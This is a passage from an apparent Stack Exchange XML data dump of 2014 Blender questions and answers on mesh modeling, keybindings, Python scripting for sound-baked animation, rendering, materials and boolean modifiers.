text objects to render&#xA;  text off-screen and combine it with the uv mapping technique.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-07-24T21:18:00.857" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14341" PostTypeId="1" AcceptedAnswerId="14342" CreationDate="2014-07-24T20:40:13.273" Score="1" ViewCount="186" Body="&lt;p&gt;I created a membrane of one speaker and want to connect a duplicate, the outer edge ring is interrupted (because I used &lt;em&gt;Knife Project&lt;/em&gt; to cut the holes in the case). The problem is that &lt;em&gt;Grid Fill&lt;/em&gt; expects a closed loop and &lt;em&gt;Bridge Edge Loops&lt;/em&gt; creates this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eU0AJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way than connecting them manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/30619&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-24T20:58:10.877" Title="How could two circles be connected when one has an interrupted edge ring?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14342" PostTypeId="2" ParentId="14341" CreationDate="2014-07-24T20:50:30.760" Score="3" Body="&lt;p&gt;This is actually because you have a mis-matched vertex count, most likely because of a mirroring error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iPT6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also seem to have a duplicate of the speaker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MJa5U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://fat.gfycat.com/SpottedSerpentineElkhound.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a vertex on the speaker and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to select connected geometry, then press &lt;kbd&gt;Delete&lt;/kbd&gt;&lt;em&gt;&gt; vertices&lt;/em&gt; to delete it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the extra loops on the sides and delete them with &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Edge loops&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bridge edge loops now works as expected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.370" LastActivityDate="2014-07-24T20:58:10.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14343" PostTypeId="2" ParentId="14334" CreationDate="2014-07-24T21:27:47.723" Score="3" Body="&lt;p&gt;It's actually really simple:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;User Preferences &gt; Input&lt;/em&gt; and change the filter type from &lt;em&gt;Name&lt;/em&gt; to &lt;em&gt;Key-Binding&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;action&lt;/code&gt; and find the &lt;em&gt;3D View&lt;/em&gt; category&lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;view3d.cursor3d&lt;/code&gt; to &lt;code&gt;object.select_all&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Action&lt;/em&gt; to &lt;em&gt;Deselect&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clear search filter&lt;/li&gt;&#xA;&lt;li&gt;Expand &lt;em&gt;3D View &gt; Mesh&lt;/em&gt; and &lt;em&gt;Add New&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set it to &lt;code&gt;mesh.select_all&lt;/code&gt; and &lt;em&gt;Deselect&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bind it to &lt;em&gt;Mouse&lt;/em&gt;, &lt;em&gt;Action&lt;/em&gt; and &lt;em&gt;Press&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-24T21:27:47.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14344" PostTypeId="2" ParentId="14164" CreationDate="2014-07-24T22:29:11.433" Score="5" Body="&lt;p&gt;Some friends did that for a project and did it all with freeware...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Capture&lt;/strong&gt;: First you capture your face with a kinect and extract a point cloud of your face (using depth as your parameter). A good idea would be to block any other stuff in the background by using a sheet, just so you get less garbage points (which need to be cleaned up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clean-up&lt;/strong&gt;: The cleaning up could be done with a very short script that deletes all points a certain radius from the &quot;origin&quot; of your face, or if you want to be more clever, you can derive an algorithm that deletes points based on their closest neighbours... in such a way you will keep only the bulk of points which form your face and delete the garbage once scattered around... (in theory)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reconstruct surface&lt;/strong&gt;: there are many algorithms, techniques and programs, which would reconstruct a point cloud. I would suggest having a look at the following &lt;a href=&quot;http://sourceforge.net/projects/pointcloudskin/&quot;&gt;blender skinning script&lt;/a&gt; or &lt;a href=&quot;http://meshlab.sourceforge.net/&quot;&gt;MeshLab&lt;/a&gt; which specializes in such stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result would depend on the density of the point cloud and the quality of the reconstruction, but you can get a decent result. They got an animation of a human face, but I must warn you, you will be dealing with big data.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="1363" LastEditDate="2014-07-24T22:35:27.407" LastActivityDate="2014-07-24T22:35:27.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14345" PostTypeId="2" ParentId="13816" CreationDate="2014-07-24T22:39:58.590" Score="1" Body="&lt;p&gt;One thing comes to mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the same light source in your second scene (weapons scene) at the same origin, with all properties being the same as the light source in the first scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then save the transformation matrix of your camera from the first scene -&gt; inverse the matrix -&gt; and apply it onto the light source in the second scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the light source in scene2  will move according to the player movement (camera), and will affect the weapons in the correct way.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, to have even more realism, we would want to stop seeing the light affecting the weapon, when the player is outside the direct reach of the light source. The simplest solution would be, casting a ray from the 8 corners of the bounding box (bbox) of the player, towards the desired light source, if any of them gets to the light source without hitting any obstacle on the way (we assume no transparent objects), than some part of the player is still in the light, so we set a flag, like so: &lt;code&gt;bool inLight = true&lt;/code&gt;. &lt;br&gt;&#xA;This flag is used in the second scene, and we compute the light affecting the weapon, only if the flag is true...&lt;br&gt;&#xA;Now if you like to be even more specific than that you can create a bbox in scene1, in the place where the weapon would be, and do the same procedure. However, I wouldn't bother going into so much detail in a game (keep it lighter), especially in a FPS game.&lt;br&gt;&#xA;What I would do to achieve a similar effect for an FPS game is just cast a single ray from some offset from the front of the character (presumably where the weapon would be) and proceed with the check.  &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for the ray-tracing check, in the case that you do not have a space partitioning algorithm (octree, kd-tree, etc), you would have to check the ray, brute force, against all objects (not very nice, especially in a game), so I suggest at least having a &lt;a href=&quot;http://en.wikipedia.org/wiki/Bounding_volume_hierarchy&quot; rel=&quot;nofollow&quot;&gt;Bounding Volume Hierarchy&lt;/a&gt; to store the objects in your scene, as that would optimise things, and I strongly recommend using a spacial partitioning algorithm too. However prove that it works first, with the easiest way! &lt;strong&gt;Slow and correct is better than quick and wrong!&lt;/strong&gt; Not always true for games though. ;)&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="5341" LastEditDate="2014-07-27T15:53:38.777" LastActivityDate="2014-07-27T15:53:38.777" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="14346" PostTypeId="2" ParentId="14325" CreationDate="2014-07-24T23:20:48.590" Score="1" Body="&lt;p&gt;There is nothing to model really, you can use blenders primitive spheres, and position them procedurally by using the centre of the parent sphere as the pivot point of the first layer of children and constraining them to the radius of the parent. This way they will appear on the surface of the parent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way you can create the spheres is creating a emitter sphere which would be at the origin of your parent sphere with a radius of: &#xA;EmitterSpereRadius = ParentRad + childrenRad&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then create a particle system using the emitter sphere as the ... emitter, and creating the desired amount of particles which you will set to be emitted from the surface of the sphere rather than the volume. Turn off all forces acting upon the particles and they should stand still.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can replace this particles with instance geometry (your children spheres) and you will have a parent sphere with it's children just about touching it's surface. (Note, that if you distributed your particles randomly, some children could be overlapping). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then as John Burrill suggested apply softbody dynamics to all spheres, make them collidable with each other and their parent, and apply a strong force filed to the children from the parent which would allow them only to encompass the parent, squashing against him and themselves...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat the same process for more layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would get you some results.&#xA;In the case that i haven't totally misunderstood the question, please ignore. :) &lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-24T23:20:48.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14347" PostTypeId="1" CreationDate="2014-07-25T00:58:49.260" Score="1" ViewCount="1479" Body="&lt;p&gt;Ok, so I've been loosely following this tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cgcookie.com/blender/2011/06/02/building-an-audio-visualizer-in-python/&quot; rel=&quot;nofollow&quot;&gt;http://cgcookie.com/blender/2011/06/02/building-an-audio-visualizer-in-python/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my model is very different and because I'm not making a simple stretchy rectangle, I modeled the mesh I want to animate, (It's still only being animated by changing the Z scale), beforehand. It's actually a series of identical meshes, but each will represent a different set of frequencies from the sound, very similar to the tutorial above. The meshes are names as follows: &quot;Fence.000&quot;, &quot;Fence.001&quot;, &quot;Fence.002&quot;, ... &quot;Fence.014&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to point out that I have programming experience in Java, PHP, HTML, and JavaScript, however this is my first time with Python. Here's my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy;&#xA;&#xA;count = 15;&#xA;lo = 0;&#xA;hi = 15000;&#xA;step = (hi - lo) / count;&#xA;&#xA;for i in range(0, count):&#xA;    name = &quot;Fence.0&quot; + (&quot;0&quot; if (i &amp;lt; 10) else &quot;&quot;) + str(i);&#xA;    bpy.context.scene.objects.active = bpy.data.objects[name];&#xA;&#xA;    bpy.ops.anim.keyframe_insert_menu(type = &quot;Scaling&quot;);&#xA;    bpy.context.active_object.animation_data.action.fcurves[0].lock = True;&#xA;    bpy.context.active_object.animation_data.action.fcurves[1].lock = True;&#xA;&#xA;    bpy.context.area.type = &quot;GRAPH_EDITOR&quot;;&#xA;    bpy.ops.graph.sound_bake(filepath=&quot;/Users/Andrew/Desktop/Trap.mp3&quot;, low=(step*i), high=(step*(i+1)));&#xA;&#xA;    bpy.context.active_object.animation_data.action.fcurves[2].lock = True;&#xA;&#xA;bpy.context.area.type = &quot;TEXT_EDITOR&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm struggling with is getting an object that exists already and setting it up in a way that the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bpy.ops.anim.keyframe_insert_menu(type = &quot;Scaling&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can access it. After googling and lots of copy and paste, I've ended up with the above. However, it still complains about an error, and the error message coming out is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/Users/Andrew/Graphic Design/dancing fence.blend/Text&quot;, line 15, in &amp;lt;module&amp;gt;&#xA;  File &quot;/Applications/Blender/Blender.app/Contents/MacOS/2.71/scripts/modules/bpy/ops.py&quot;, line 188, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Error: No suitable context info for active keying set&#xA;&#xA;Error: Python script fail, look in the console for now...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know to anyone experienced the above code probably looks like it was written by a 5 year old, but I would love it if someone could explain to me how blender works with python, (The documentation I've been able to find has all been worse than terrible.), and maybe even explain to me how my own code works. (Eek, that's never a good sign. :( )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5342" LastEditorUserId="2217" LastEditDate="2014-07-29T00:20:49.213" LastActivityDate="2014-11-26T09:22:04.193" Title="Baking Sound to F-Curve with Python on Pre-Existing Objects" Tags="&lt;python&gt;&lt;animation&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14348" PostTypeId="2" ParentId="9143" CreationDate="2014-07-25T01:05:57.930" Score="1" Body="&lt;p&gt;It looks like the second bone has a hidden initial transform of 1.0 in the y direction relative to the origin of the armature. So, it is already at 1.0y, and it movies 1.0z with its parent. Those hidden initial transforms are tricky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Oops, in armatures &quot;Local with Parent&quot; uses its position in edit mode rather than a hidden transform like in object mode.&lt;/p&gt;&#xA;" OwnerUserId="5343" LastEditorUserId="5343" LastEditDate="2014-07-25T09:27:15.840" LastActivityDate="2014-07-25T09:27:15.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14349" PostTypeId="1" AcceptedAnswerId="14370" CreationDate="2014-07-25T01:37:17.860" Score="0" ViewCount="831" Body="&lt;p&gt;Making Gold object but background hdr image is covering up model when I render. I am using cycles render and am trying to make my object have a gold appearance so I uploaded an hdr image in the world tab but now this image is the only thing I can see when I render. What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d8zp8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CqG2o.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorUserId="599" LastEditDate="2014-07-26T02:44:46.380" LastActivityDate="2014-07-26T02:44:46.380" Title="Background hdr image is covering up model when rendered" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14350" PostTypeId="2" ParentId="14349" CreationDate="2014-07-25T01:48:13.367" Score="1" Body="&lt;p&gt;Without a .blend it is hard to say for certain what the issue is. &#xA;Here are some possible causes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You're rendering on the wrong render layer.&lt;/li&gt;&#xA;&lt;li&gt;You turned off your objects render visibility:&lt;br/&gt;&lt;img src=&quot;https://i.stack.imgur.com/LatkH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;You disabled your objects visibility to the camera in the ray visibility tab.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9tWPx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-25T02:42:29.073" LastActivityDate="2014-07-25T02:42:29.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14351" PostTypeId="1" AcceptedAnswerId="15478" CreationDate="2014-07-25T06:26:56.623" Score="32" ViewCount="10509" Body="&lt;p&gt;Aside from the fact that you can control the bump mapping per shader with a bump node, are there any differences between these materials?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qjM4r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PqT2m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far  as I can tell, they are the same. Is the displacement socket just a convenience thing? Is there a performance advantage? &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="7548" LastEditDate="2018-06-24T12:40:32.090" LastActivityDate="2018-11-19T17:16:18.377" Title="What is the difference between the displace socket and a bump map?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="14352" PostTypeId="2" ParentId="14351" CreationDate="2014-07-25T09:15:01.863" Score="2" Body="&lt;p&gt;In theory they should be different.&lt;br&gt;&#xA;I am not sure of the naming convention in blender now as it changes quite a bit. However here is my rendering of the definitions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugging the image directly into the displacement socket treats it as a displacement map (much heavier, moving actual geometry about). &lt;br&gt;&#xA;Using a bump, gives you a bump map.&lt;br&gt;&#xA;As you can see the output of the bump node is a normal. You plug this normal into material and it will change the normals of the surface according to the image. Giving it the feeling of being engraved when the actual surface stays flat. (more efficient than displacement).&lt;br&gt;&#xA;Having said that keep in mind that if you go close to the surface you will notice that it is flat and not &quot;bumpy&quot;.&lt;br&gt;&#xA;Usually one would use a combination of both... displacement, for the bigger details, and normal/bump mapping for the finer detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best test is to try and increase the strength of both, go down close to the surface and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-25T09:15:01.863" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14353" PostTypeId="1" CreationDate="2014-07-25T10:12:20.963" Score="2" ViewCount="231" Body="&lt;p&gt;I'm trying to make an explosion for the first time. To prepare, I made a sphere and used &lt;code&gt;Quick Explode&lt;/code&gt; and &lt;code&gt;Quick Smoke&lt;/code&gt; on it. After a lot of fiddling, I rendered my final animation. My problem is that, instead of exploding at frame 50, it would render the explosion (with physics as if it was already calculated) at frame 86. (Notably, I animated the &lt;code&gt;Density&lt;/code&gt; option in the &lt;code&gt;Physics-&amp;gt;Smoke-&amp;gt;Flow&lt;/code&gt; panel for the sphere) I looked over my animation panel and probably all of my settings to see whether there was anything related to this, but I couldn't find anything. Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I forgot to mention that I have tested fire in another Blender file. This is specific to this setup somehow.&lt;/p&gt;&#xA;" OwnerUserId="5346" LastEditorUserId="3078" LastEditDate="2014-07-25T14:14:07.133" LastActivityDate="2014-07-25T14:14:07.133" Title="Cycles 2.71 Smoke Rendered On Wrong Frame(s)" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14354" PostTypeId="1" AcceptedAnswerId="14362" CreationDate="2014-07-25T11:20:10.567" Score="1" ViewCount="10398" Body="&lt;p&gt;I'm looking for the simplest way to add a button and a text input field to Blender's UI so I can use some parameters in my Python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a few tutorials but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one uses the word self which throws me an error (name 'self' is not defined)&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface#Using_scene_properties_to_store_information&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface#Using_scene_properties_to_store_information&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this one I cannot really see where the actual code to add to UI is&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.types.Operator.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.types.Operator.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus a few others that I don't understand at all.&lt;/p&gt;&#xA;" OwnerUserId="4928" LastEditorUserId="4928" LastEditDate="2014-07-25T11:55:06.530" LastActivityDate="2014-07-27T09:04:12.597" Title="Simple way to add button to UI" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14355" PostTypeId="2" ParentId="14347" CreationDate="2014-07-25T12:04:37.093" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I'm struggling with is getting an object that exists already...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You get the objects from bpy.data.objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects[obj_name] #where obj_name is the key / object's name &#xA;&#xA;#in this case&#xA;for i in range(count):&#xA;    obj = bpy.data.objects['Fence.%04d' % i] #formatted string &#xA;&#xA;    #set the keyframe&#xA;    obj.keyframe_insert(data_path=&quot;scale&quot;, frame=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7123/add-keyframe-to-a-scene-property&quot;&gt;Add keyframe to a scene property&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/tutorial/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python tutorial and documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/string.html#format-specification-mini-language&quot; rel=&quot;nofollow noreferrer&quot;&gt;String Format Syntax&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Python API documenation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-07-25T12:10:27.473" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14357" PostTypeId="1" CreationDate="2014-07-25T13:58:42.790" Score="3" ViewCount="2453" Body="&lt;p&gt;I'm making an animation with a flag, and I was wondering if anyone knows how to create like a transparent fabric material? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flag looks a bit dull, and doesn't look realistic at all. After some references I noticed that flags are a bit transparent, seeing as they are woven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FY4kq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to make this flag have the same type of material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can tell me how to make it look like fabric and not like rubber, I'd be very thankful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: If anybody knows how to make little &quot;ripples&quot;, please comment and let me know.&lt;/p&gt;&#xA;" OwnerUserId="5352" LastEditorUserId="241" LastEditDate="2014-07-25T14:02:12.830" LastActivityDate="2016-07-18T00:04:26.523" Title="How do I create a partially transparent flag?" Tags="&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14360" PostTypeId="1" CreationDate="2014-07-25T15:04:00.167" Score="2" ViewCount="2047" Body="&lt;p&gt;I cannot get the boolean modifier right in the following file: &lt;a href=&quot;https://www.dropbox.com/s/cz6tf7z613j6l41/para3.blend&quot; rel=&quot;nofollow&quot;&gt;para3.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to subtract the parabolic shape (&quot;para&quot;) from the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube is supposed to have some kind of trough after the operation.&lt;/p&gt;&#xA;" OwnerUserId="5353" LastEditorUserId="599" LastEditDate="2014-07-25T23:52:07.813" LastActivityDate="2016-06-07T12:57:02.047" Title="Boolean modifier is giving intersection instead of difference" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14362" PostTypeId="2" ParentId="14354" CreationDate="2014-07-25T15:26:58.490" Score="4" Body="&lt;p&gt;You basically need to combine two of the &lt;em&gt;Templates&lt;/em&gt; in &lt;em&gt;Text Editor&lt;/em&gt; that ship with Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Operator and a panel. In the panel's &lt;code&gt;draw()&lt;/code&gt; method, you add an operator to the layout, which will be represented by a clickable button. Clicking it will run the operator's &lt;code&gt;execute()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example how interface and actions play together:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Panels_and_Operators/Ping_Pong&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Cookbook/Panels_and_Operators/Ping_Pong&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-07-25T15:26:58.490" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14363" PostTypeId="2" ParentId="14360" CreationDate="2014-07-25T16:15:01.310" Score="3" Body="&lt;p&gt;You need to unify the normal vectors of your parabola extrusion and then the boolean will display correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pr61T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To unify the normal vectors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the parabola extrusion in the 3D view&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;A&lt;/kbd&gt; to select all of the mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to recalculate the normals of the outsides&lt;br&gt;&#xA;This makes all of the faces point in the same direction which is necessary for Boolean operations (and a lot of other stuff) to work correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;Tab&lt;/kbd&gt; again to exit edit mode.  You'll need to hide the 'Para' object to see the effect as shown.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4942" LastEditorUserId="19817" LastEditDate="2016-06-07T12:57:02.047" LastActivityDate="2016-06-07T12:57:02.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14364" PostTypeId="1" CreationDate="2014-07-25T17:05:25.393" Score="3" ViewCount="3922" Body="&lt;p&gt;As the title says when I change the imported motion capture armature, and than I edit it in the Edit mode to fit to the model (eg. moving the arms), it mess up the original animation: twist the arms.&#xA;I made parenting to the arm bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B0rn5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5354" LastActivityDate="2020-08-24T13:04:25.453" Title="Editing armature in edit mode mess up pose mode" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
